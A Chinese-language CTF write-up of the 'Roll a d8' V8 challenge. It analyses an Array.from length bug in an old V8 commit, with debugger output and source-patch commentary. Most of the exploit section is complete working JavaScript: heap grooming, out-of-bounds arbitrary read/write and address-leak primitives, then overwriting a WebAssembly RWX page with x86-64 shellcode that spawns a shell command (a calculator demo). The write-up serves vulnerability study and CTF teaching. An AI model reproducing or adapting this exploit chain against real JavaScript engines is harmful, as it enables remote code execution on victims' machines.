其他
Roll_a_d8新人向Writeup
本文为看雪论坛优秀文章
看雪论坛作者ID:0x2l
1
题目构建
首先根据hash值回退到漏洞版本:
# git reset --hard [commit hash with vulnerability]
# 使用这条命令来切换到漏洞版本的commit
git reset --hard 1dab065bb4025bdd663ba12e2e976c34c3fa6599
# 这里选择只编译v8来加快速度
gclient sync
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug d8
漫长的等待之后我们用编译好的d8运行poc.js,成功触发crash。
2
poc分析
JSArray
0x0+-----------------------+
|kMapOffset |
0x8+-----------------------+
|kPropertiesOffset |
0x10+-----------------------+ JSFixedArray
|kElementsOffset +----------->0x0+-----------------------+
0x18+-----------------------+ |kMapOffset |
|kLengthOffset | 0x8+-----------------------+
0x20+-----------------------+ |kLengthOffset |
0x10+-----------------------+
|element 0 |
0x18+-----------------------+
|element 1 |
0x20+-----------------------+
|element 2 |
0x28+-----------------------+
|... |
+-----------------------+
let oobArray = [];
let maxSize = 1028 * 8;
// Array.from() 方法从一个类似数组或可迭代对象创建一个新的,浅拷贝的数组实例。
// call() 方法使用一个指定的 this 值和单独给出的一个或多个参数来调用一个函数。
Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => (
{
// 自己实现的迭代器
counter : 0,
next() {
let result = this.counter++;
if (this.counter > maxSize) {
// 迭代结束之后将length置零
oobArray.length = 0;
return {done: true};
} else {
return {value: result, done: false};
}
}
}
) });
// 之后触发崩溃
oobArray[oobArray.length - 1] = 0x41414141;
// 省略了一大堆其他的代码,完整版 https://github.com/inexorabletash/polyfill/blob/master/es6.js
// 22.1.2.1 Array.from ( items [ , mapfn [ , thisArg ] ] )
define(
Array, 'from',
function from(items) {
var c = strict(this); // this 就是 function() { return oobArray }
// 判断是否可以迭代
var usingIterator = GetMethod(items, $$iterator);
if (usingIterator !== undefined) {
if (IsConstructor(c)) { // IsConstructor函数检查对象是否为构造函数,此处返回true
/*
当代码 new Foo(...) 执行时,会发生以下事情:
1. 一个继承自 Foo.prototype 的新对象被创建。
2. 使用指定的参数调用构造函数 Foo,并将 this 绑定到新创建的对象。new Foo 等同于 new Foo(),也就是没有指定参数列表,Foo 不带任何参数调用的情况。
3. 由构造函数返回的对象就是 new 表达式的结果。如果构造函数没有显式返回一个对象,则使用步骤1创建的对象。(一般情况下,构造函数不返回值,但是用户可以选择主动返回对象,来覆盖正常的对象创建步骤)
*/
var a = new c(); // 结合上面这么一大堆字,可以得出 a = oobArray
} else {
a = new Array(0);
}
var iterator = GetIterator(items, usingIterator);
var k = 0;
while (true) {
var next = IteratorStep(iterator);
if (next === false) {
a.length = k; // oobArray.length = k
return a; // return oobArray
}
a[k] = mappedValue; // oobArray[k] = mappedValue
k += 1;
}
}});
# dylan @ eureka in ~/v8_pwn/roll_a_d8 [15:56:15]
$ cat test.js
var oobArray = [];
%DebugPrint(oobArray);
Array.from.call(function() { return oobArray }, [1,2,3]);
%DebugPrint(oobArray);
# dylan @ eureka in ~/v8_pwn/roll_a_d8 [15:57:46]
$ ~/vvvvv8/v8/out.gn/x64.debug/d8 --allow-natives-syntax test.js
DebugPrint: 0x1fca3d08d4f9: [JSArray]
- map: 0x1d335e02571 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x1b4d6e385539 <JSArray[0]>
- elements: 0xa3822902251 <FixedArray[0]> [PACKED_SMI_ELEMENTS]
- length: 0
- properties: 0xa3822902251 <FixedArray[0]> {
#length: 0xa382294ff89 <AccessorInfo> (const accessor descriptor)
}
DebugPrint: 0x1fca3d08d4f9: [JSArray]
- map: 0x1d335e02571 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x1b4d6e385539 <JSArray[0]>
- elements: 0x1fca3d08d761 <FixedArray[17]> [PACKED_SMI_ELEMENTS]
- length: 3
- properties: 0xa3822902251 <FixedArray[0]> {
#length: 0xa382294ff89 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x1fca3d08d761 <FixedArray[17]> {
0: 1
1: 2
2: 3
3-16: 0xa3822902321 <the_hole>
}
# 迭代结束没有将oobArray.length置零
pwndbg> job 0x266f6b90da39
0x266f6b90da39: [JSArray]
- map: 0x2472db302571 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x34d88a085539 <JSArray[0]>
- elements: 0x1fb3c180ef81 <FixedArray[10018]> [PACKED_SMI_ELEMENTS]
- length: 8224
- properties: 0xa0a6f682251 <FixedArray[0]> {
#length: 0xa0a6f6cff89 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x1fb3c180ef81 <FixedArray[10018]> {
省略参数
: 0xa0a6f682321 <the_hole>
}
# 迭代结束将oobArray.length置零
pwndbg> job 0x213fb0f0da39
0x213fb0f0da39: [JSArray]
- map: 0x27d1d0202571 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x8fc75385539 <JSArray[0]>
- elements: 0x10d45dc02251 <FixedArray[0]> [PACKED_SMI_ELEMENTS]
- length: 8224
- properties: 0x10d45dc02251 <FixedArray[0]> {
#length: 0x10d45dc4ff89 <AccessorInfo> (const accessor descriptor)
}
# dylan @ eureka in ~/v8_pwn/roll_a_d8 [17:33:12]
$ cat test.js
var oobArray = [1,2,3];
%DebugPrint(oobArray);
oobArray.length = 0;
%DebugPrint(oobArray);
# dylan @ eureka in ~/v8_pwn/roll_a_d8 [17:34:02]
$ ~/vvvvv8/v8/out.gn/x64.debug/d8 --allow-natives-syntax test.js
DebugPrint: 0x112f1d58d4d1: [JSArray]
- map: 0x39b574b82571 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x195f2ce05539 <JSArray[0]>
- elements: 0x112f1d58d479 <FixedArray[3]> [PACKED_SMI_ELEMENTS (COW)]
- length: 3
- properties: 0x1262e4482251 <FixedArray[0]> {
#length: 0x1262e44cff89 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x112f1d58d479 <FixedArray[3]> {
0: 1
1: 2
2: 3
}
DebugPrint: 0x112f1d58d4d1: [JSArray]
- map: 0x39b574b82571 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x195f2ce05539 <JSArray[0]>
- elements: 0x1262e4482251 <FixedArray[0]> [PACKED_SMI_ELEMENTS]
- length: 0
- properties: 0x1262e4482251 <FixedArray[0]> {
#length: 0x1262e44cff89 <AccessorInfo> (const accessor descriptor)
}
3
补丁分析
// 省略了一些,完整代码见src\builtins\builtins-array-gen.cc
// ES #sec-array.from
TF_BUILTIN(ArrayFrom, ArrayPopulatorAssembler)
{
// this 就是 function() { return oobArray }
CodeStubArguments args(this, ChangeInt32ToIntPtr(argc));
// 判断array_like是否可以迭代
Label iterable(this), not_iterable(this), finished(this), if_exception(this);
TNode<Object> this_arg = args.GetOptionalArgumentValue(2);
TNode<Object> items = args.GetOptionalArgumentValue(0);
// The spec doesn't require ToObject to be called directly on the iterable
// branch, but it's part of GetMethod that is in the spec.
// array_like就是我们传入的带有迭代器的对象
TNode<JSReceiver> array_like = ToObject(context, items);
// 定义array和length
TVARIABLE(Object, array);
TVARIABLE(Number, length);
// Determine whether items[Symbol.iterator] is defined:
IteratorBuiltinsAssembler iterator_assembler(state());
Node *iterator_method =
iterator_assembler.GetIteratorMethod(context, array_like);
Branch(IsNullOrUndefined(iterator_method), ¬_iterable, &iterable);
BIND(&iterable);
{
// array_like 有我们自己实现的迭代器,所以可以执行到这里
TVARIABLE(Number, index, SmiConstant(0));
TVARIABLE(Object, var_exception);
Label loop(this, &index), loop_done(this),
on_exception(this, Label::kDeferred),
index_overflow(this, Label::kDeferred);
// 这里很关键,官方的注释虽然说会返回一个length为0的数组,但根据刚刚在polyfill的分析可以得知,如果this为构造函数的话是会直接返回构造函数返回值而非创建一个新的数组,看了一下ConstructArrayLike函数的代码发现也是一样,这里摘一部分
/*
// 如果this值是构造函数的话就直接调用并返回结果
BIND(&is_constructor);
{
array = CAST(
ConstructJS(CodeFactory::Construct(isolate()), context, receiver));
Goto(&done);
}
*/
// Construct the output array with empty length.
array = ConstructArrayLike(context, args.GetReceiver());
// Actually get the iterator and throw if the iterator method does not yield
// one.
IteratorRecord iterator_record =
iterator_assembler.GetIterator(context, items, iterator_method);
TNode<Context> native_context = LoadNativeContext(context);
TNode<Object> fast_iterator_result_map =
LoadContextElement(native_context, Context::ITERATOR_RESULT_MAP_INDEX);
Goto(&loop);
// 进行迭代
BIND(&loop);
{
// 判断迭代是否结束
// Loop while iterator is not done.
TNode<Object> next = CAST(iterator_assembler.IteratorStep(
context, iterator_record, &loop_done, fast_iterator_result_map));
TVARIABLE(Object, value,
CAST(iterator_assembler.IteratorValue(
context, next, fast_iterator_result_map)));
// 将迭代器的返回值存入oobArray
// Store the result in the output object (catching any exceptions so the
// iterator can be closed).
Node *define_status =
CallRuntime(Runtime::kCreateDataProperty, context, array.value(),
index.value(), value.value());
GotoIfException(define_status, &on_exception, &var_exception);
// index++
index = NumberInc(index.value());
});
Goto(&loop);
}
BIND(&loop_done);
{
// 将索引值index赋值给length
length = index;
Goto(&finished);
}
BIND(&on_exception);
{
// Close the iterator, rethrowing either the passed exception or
// exceptions thrown during the close.
iterator_assembler.IteratorCloseOnException(context, iterator_record,
&var_exception);
}
}
BIND(&finished);
// 给array赋值完之后调用漏洞函数GenerateSetLength(),传入array和index
// Finally set the length on the output and return it.
GenerateSetLength(context, array.value(), length.value());
args.PopAndReturn(array.value());
}
void GenerateSetLength(TNode<Context> context, TNode<Object> array,
TNode<Number> length)
{
Label fast(this), runtime(this), done(this);
// Only set the length in this stub if
// 1) the array has fast elements,
// 2) the length is writable,
// 3) the new length is greater than or equal to the old length.
// 1) Check that the array has fast elements.
// TODO(delphick): Consider changing this since it does an an unnecessary
// check for SMIs.
// TODO(delphick): Also we could hoist this to after the array construction
// and copy the args into array in the same way as the Array constructor.
BranchIfFastJSArray(array, context, &fast, &runtime);
BIND(&fast);
{
// fast_array = array
TNode<JSArray> fast_array = CAST(array);
// length_smi = index
// old_length = array.length = 0
TNode<Smi> length_smi = CAST(length);
TNode<Smi> old_length = LoadFastJSArrayLength(fast_array);
CSA_ASSERT(this, TaggedIsPositiveSmi(old_length));
// 2) Ensure that the length is writable.
// TODO(delphick): This check may be redundant due to the
// BranchIfFastJSArray above.
EnsureArrayLengthWritable(LoadMap(fast_array), &runtime);
// 3) If the created array already has a length greater than required,
// then use the runtime to set the property as that will insert holes
// into the excess elements and/or shrink the backing store.
// 上面也有写到,length_msi是刚刚loop循环的时候叠加的index值,old_length是oobArray自身的length值,0 < 8224。
// 所以这个Goto是不会跳转的,如果不进行内存紧缩的话,会转去运行StoreObjectFieldNoWriteBarrier函数。
GotoIf(SmiLessThan(length_smi, old_length), &runtime);
// 将oobArray的length设置为length_smi
StoreObjectFieldNoWriteBarrier(fast_array, JSArray::kLengthOffset,
length_smi);
Goto(&done);
}
BIND(&runtime);
{
CallRuntime(Runtime::kSetProperty, context, static_cast<Node *>(array),
CodeStubAssembler::LengthStringConstant(), length,
SmiConstant(LanguageMode::kStrict));
Goto(&done);
}
BIND(&done);
}
};
4
漏洞利用
4.1 任意地址读/写原语
0x0+-----------------------+
|kMapOffset |
0x8+-----------------------+
|kPropertiesOffset |
0x10+-----------------------+
|kElementsOffset |
0x18+-----------------------+
|kByteLengthOffset | +--------------+
0x20+-----------------------+ | |
|kBackingStoreOffset +-------------------->+ heap chunk |
0x28+-----------------------+ | |
|kAllocationBaseOffset | +--------------+
0x30+-----------------------+
|kAllocationLengthOffset|
0x38+-----------------------+
|kBitFieldSlot |
0x40+-----------------------+
# dylan @ eureka in ~/v8_pwn/roll_a_d8 [12:30:48]
$ cat test.js
let oob = new ArrayBuffer(0x10);
%DebugPrint(oob);
%SystemBreak();
pwndbg> job 0x2310b90d4c1
0x2310b90d4c1: [JSArrayBuffer]
- map: 0x334e30303fe9 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x28fb71992981 <Object map = 0x334e30304041>
- elements: 0x352a58c82251 <FixedArray[0]> [HOLEY_ELEMENTS]
- embedder fields: 2
- backing_store: 0x5607bc964ce0
- byte_length: 16
- neuterable
- properties: 0x352a58c82251 <FixedArray[0]> {}
- embedder fields = {
(nil)
(nil)
}
pwndbg> vmmap heap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x5607bc962000 0x5607bca0f000 rw-p ad000 0 [heap]
JSArray
0x0+-----------------------+
|kMapOffset |
0x8+-----------------------+
|kPropertiesOffset |
0x10+-----------------------+
|kElementsOffset +------+
0x18+-----------------------+ |
|kLengthOffset | |
0x20+-----------------------+ |
|
JSFixedArray |
0x0+-----------------------+<-----+
|kMapOffset |
0x8+-----------------------+
|kLengthOffset |
0x10+-----------------------+
|element 0 |
0x18+-----------------------+
|element 1 | JSTypedArray
0x20+-----------------------+ 0x0+-----------------------+
|element 2 | |kMapOffset* |
0x28+-----------------------+ 0x8+-----------------------+
+--------+... | |kPropertiesOffest* |
| +-----------------------+ 0x10+-----------------------+
| |kElementsOffset* |
| JSArrayBuffer 0x18+-----------------------+
| 0x0+-----------------------+<--------------------------------+kBufferOffset* |
| |kMapOffset | 0x20+-----------------------+
OOB| 0x8+-----------------------+ |kByteOffsetOffset |
| |kPropertiesOffset | 0x28+-----------------------+
| x10+-----------------------+ |kByteLengthOffset |
| |kElementsOffset | 0x30+-----------------------+
| x18+-----------------------+ |kViewSize* |
| |kByteLengthOffset | +--------------+ 0x38+-----------------------+
| x20+-----------------------+ | | |kLengthOffset |
+------->+kBackingStoreOffset +----->+ heap chunk | 0x40+-----------------------+
x28+-----------------------+ | |
|kAllocationBaseOffset | +--------------+
0x30+-----------------------+
|kAllocationLengthOffset|
0x38+-----------------------+
|kBitFieldSlot |
0x40+-----------------------+
let arrayBuffers = [];
let oobArray = [1.1];
let maxSize = 1028 * 8;
function hex(x) //打印16进制
{
return '0x' + (x.toString(16)).padStart(16, 0);
}
class Memory{
constructor(){
this.buf = new ArrayBuffer(8);
this.f64 = new Float64Array(this.buf);
this.u32 = new Uint32Array(this.buf);
this.bytes = new Uint8Array(this.buf);
}
f2i(val){ //double ==> Uint64
this.f64[0] = val;
let tmp = Array.from(this.u32);
return tmp[1] * 0x100000000 + tmp[0];
}
i2f(val){ //Uint64 ==> double
let tmp = [];
tmp[0] = parseInt(val % 0x100000000);
tmp[1] = parseInt((val - tmp[0]) / 0x100000000);
this.u32.set(tmp);
return this.f64[0];
}
}
var mem = new Memory();
// Array.from() 方法从一个类似数组或可迭代对象创建一个新的,浅拷贝的数组实例。
// call() 方法使用一个指定的 this 值和单独给出的一个或多个参数来调用一个函数。
Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => (
{
// 自己实现的迭代器
counter : 0,
next() {
let result = 1.1;
this.counter++;
if (this.counter > maxSize) {
// 迭代结束之后将length置1,避免被回收
oobArray.length = 1;
// 堆风水,0xc00c为特殊值,方便搜索
for (let i = 0;i < 100;i++) {
arrayBuffers.push(new ArrayBuffer(0xc00c));
}
return {done: true};
} else {
return {value: result, done: false};
}
}
}
) });
// 搜索oobArray之后是否存在可用的ArrayBuffer,
let kBackingStoreOffset = 0;
for(let i = 0; i < maxSize; i++){
let val = mem.f2i(oobArray[i]);
if(val === 0xc00c00000000){
console.log("[*]find target ArrayBuffer at oobArray[" + i.toString() + "]");
kBackingStoreOffset = i + 1;
oobArray[i] = mem.i2f(0x0cc000000000); //修改可控buf的length,做个标记
oobArray[i + 3] = mem.i2f(0x0cc0); //有两处保存了length值
break;
}
}
// arrayBuffers中的第i个buf是可控的
let controllable_buf_idx = 0;
for(let i = 0; i < arrayBuffers.length; i++){
let val = arrayBuffers[i].byteLength;
if(val === 0x0cc0){ //查找被修改了length的buf
console.log("[*]find target ArrayBuffer at arrayBuffers[" + i.toString() + "]");
controllable_buf_idx = i;
break;
}
}
4.2 任意代码执行
(1)创建一个wasm函数对象,wasm本身只能进行诸如数学运算这样的操作,所以随便创建一个就行。
(2)通过地址泄露原语找到wasm自带的RWX属性页及wasm函数最终会调用的汇编代码(wasmInstance.exports.main -> shared_info -> data -> instance+XX)。
(3)通过任意地址读写原语修改wasm所在内存页,换上我们准备好的shellcode。
(4)调用wasm函数接口,执行shellcode。
let oobArray = [1.1];
let arrays=[];
let objs=[];
let maxSize = 1028 * 8;
// 转换格式
class Memory{
constructor(){
this.buf=new ArrayBuffer(8);
this.f64=new Float64Array(this.buf);
this.u32=new Uint32Array(this.buf);
}
f2i(val){
this.f64[0]=val;
return this.u32[1]*0x100000000+this.u32[0];
}
i2f(val){
this.u32[0]=parseInt(val%0x100000000);
this.u32[1]=parseInt((val-this.u32[0])/0x100000000);
return this.f64[0];
}
}
// 打印16进制
function hex(x)
{
return '0x' + (x.toString(16)).padStart(16, 0);
}
var mem=new Memory();
// Array.from() 方法从一个类似数组或可迭代对象创建一个新的,浅拷贝的数组实例。
// call() 方法使用一个指定的 this 值和单独给出的一个或多个参数来调用一个函数。
Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => (
{
// 自己实现的迭代器
counter : 0,
next() {
let result = 1.1;
this.counter++;
if (this.counter > maxSize) {
// 迭代结束之后将length置1,避免被回收
oobArray.length=1;
// 堆风水,0xc00c为特殊值,方便搜索
for(let i=0;i<100;i++)
{
let array=new ArrayBuffer(0xc00c);
let obj={'a':0x1234,'b':0x5678};
arrays.push(array);
objs.push(obj);
}
return {done: true};
} else {
return {value: result, done: false};
}
}
}
) });
// 刷新栈帧,创建一片干净的空间,防止一些关键参数被修改.
for(let i=0;i<=maxSize;i++){let x=oobArray[i]};
// 找ArrayBuffer
let backing_store;
let kbitfield;
let buf_index;
for(let i=0;i<maxSize;i++)
{
let val=mem.f2i(oobArray[i]);
if(val===0xc00c00000000)
{
backing_store=i+1;
kbitfield=backing_store+1;
console.log("[*]find target ArrayBuffer in oobArray number ["+i+"]");
oobArray[i]=mem.i2f(0xbeaf00000000);
break;
}
}
for(let i=0;i<100;i++)
{
if(arrays[i].byteLength===0xbeaf){
console.log("[*]find target ArrayBuffer number ["+i+"]");
buf_index=i;
let tmp=new Float64Array(arrays[buf_index],0,0x10);
tmp[0]=mem.i2f(0xdeadbeef);
break;
}
}
// 找对象
let obj_index;
let obj_offset;
for(let i=0;i<maxSize;i++)
{
let val=mem.f2i(oobArray[i]);
if(val===0x123400000000)
{
obj_offset=i;
console.log("[*]find target objecets in oobArray number ["+i+"]");
oobArray[i]=mem.i2f(0x123500000000);
break;
}
}
for(let i=0;i<100;i++)
{
if(objs[i].a===0x1235){
console.log("[*]find target objs number ["+i+"]");
obj_index=i;
break;
}
}
// 任意地址读写
class ArbitraryRW
{
leak_obj(obj){
objs[obj_index].a = obj;
return mem.f2i(oobArray[obj_offset]) - 1;
}
read(addr){
oobArray[backing_store]=mem.i2f(addr);
oobArray[kbitfield]=mem.i2f(addr);
let tmp=new Float64Array(arrays[buf_index],0,0x10);
return mem.f2i(tmp[0]);
}
write(addr,value){
oobArray[backing_store]=mem.i2f(addr);
oobArray[kbitfield]=mem.i2f(addr);
this.f64=new Float64Array(arrays[buf_index],0,0x10);
this.f64[0]=mem.i2f(value);
}
leak(){
return mem.f2i(oobArray[kbitfield]);
}
}
let wr=new ArbitraryRW();
// WASM
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
let f=wasmInstance.exports.main;
let asm_addr=wr.leak_obj(f);
console.log("[*]address of asm = "+hex(asm_addr));
let sharedInfo =wr.read(asm_addr+0x18)-1;
let functionData=wr.read(sharedInfo+0x8)-1;
let instanceAddr=parseInt(wr.read(functionData+0x70)/0x10000);
console.log("functionData addresss ="+hex(functionData));
console.log("[*] RWX address ="+hex(instanceAddr));
// 写入shellcode
let shellcode=[0x6a,0x3b,0x58,0x99,0x48,0xbb,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x53,0x48,0x89,0xe7,0x68,0x2d,0x63,0x00,0x00,0x48,0x89,0xe6,0x52,0xe8,0x1c,0x00,0x00,0x00,0x44,0x49,0x53,0x50,0x4c,0x41,0x59,0x3d,0x3a,0x30,0x20,0x67,0x6e,0x6f,0x6d,0x65,0x2d,0x63,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72,0x00,0x56,0x57,0x48,0x89,0xe6,0x0f,0x05];
for(let i=0;i<shellcode.length;i++){
wr.write(instanceAddr+i,shellcode[i]);
}
f();
参考文章:
博客:https://www.0x2l.cn/
StarCTF 2019 v8 off-by-one漏洞学习笔记
just pwn it for fun
从一道CTF题零基础学V8漏洞利用
v8 engine exploit零基础入门
V8环境搭建,100%成功版
看雪ID:0x2l
https://bbs.pediy.com/user-home-862439.htm
# 往期推荐
3. 基于Mono注入保存Draw & Guess历史房间数据
4. 一个方案:家用路由器D-LINK DIR-81漏洞挖掘实例分析
球分享
球点赞
球在看
点击“阅读原文”,了解更多!